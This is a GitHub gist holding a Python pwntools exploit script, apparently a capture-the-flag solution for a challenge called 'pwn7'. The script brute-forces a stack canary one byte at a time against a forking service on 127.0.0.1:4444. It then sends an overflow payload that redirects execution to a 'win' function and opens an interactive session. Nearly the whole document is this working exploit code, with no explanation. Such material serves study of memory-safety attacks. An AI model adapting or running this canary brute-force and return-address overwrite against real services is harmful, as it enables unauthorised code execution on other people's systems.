Skip to content

Instantly share code, notes, and snippets.

@ikerl
Created April 3, 2023 18:34
Show Gist options
  • Save ikerl/ca9aaa94680cb861a5b6bc02d8588b82 to your computer and use it in GitHub Desktop.
Save ikerl/ca9aaa94680cb861a5b6bc02d8588b82 to your computer and use it in GitHub Desktop.
from pwn import *
import sys,os,time
i = 0
LOCAL = False
def fork(canary):
global i
if i == 0xa:
io.send(canary+b"\x00\n")
return canary+b"\x00"
io.sendline(canary+i.to_bytes(1, 'big'))
return canary+i.to_bytes(1, 'big')
def test_canary(canary):
io.sendline(canary)
print("Testing canary..")
def parent():
io.sendline("y")
def parent_exploit(canary):
print("Exploiting pwn7..")
io.sendline(b"\x00"*16+canary[16:20]+p32(elf.symbols["win"])*8+p32(elf.symbols["main"]))
io.interactive()
if LOCAL:
io = process("./p")
else:
io = remote("127.0.0.1",4444)
elf = ELF("./p")
canary = b"\x00"*17
line = io.recvline()
tested_canary = False
while True:
if b"(0-1000):" in line:
if len(canary) < 21:
fork(canary)
else:
test_canary(canary)
tested_canary = True
elif b"(y/n)" in line:
if not tested_canary:
parent()
else:
parent_exploit(canary)
if not LOCAL:
time.sleep(0.02)
line = io.recvline()
if not LOCAL:
time.sleep(0.02)
if LOCAL:
if tested_canary:
if b"Noooope" in line:
line = io.recvline()
if b"stack smashing detected" not in line:
print("Canary OK")
else:
print("Wrong canary")
sys.exit(-1)
else:
if b"Noooope" in line:
line = io.recvline()
if b"stack smashing detected" not in line:
canary += i.to_bytes(1, 'big')
print("Leaked canary:",canary[17:])
i = 0
else:
i += 1
else:
if tested_canary:
if b"Noooope" in line:
print("Canary OK")
else:
if b"Noooope" in line:
canary += i.to_bytes(1, 'big')
print("Leaked canary:",canary[17:])
i = 0
else:
i += 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment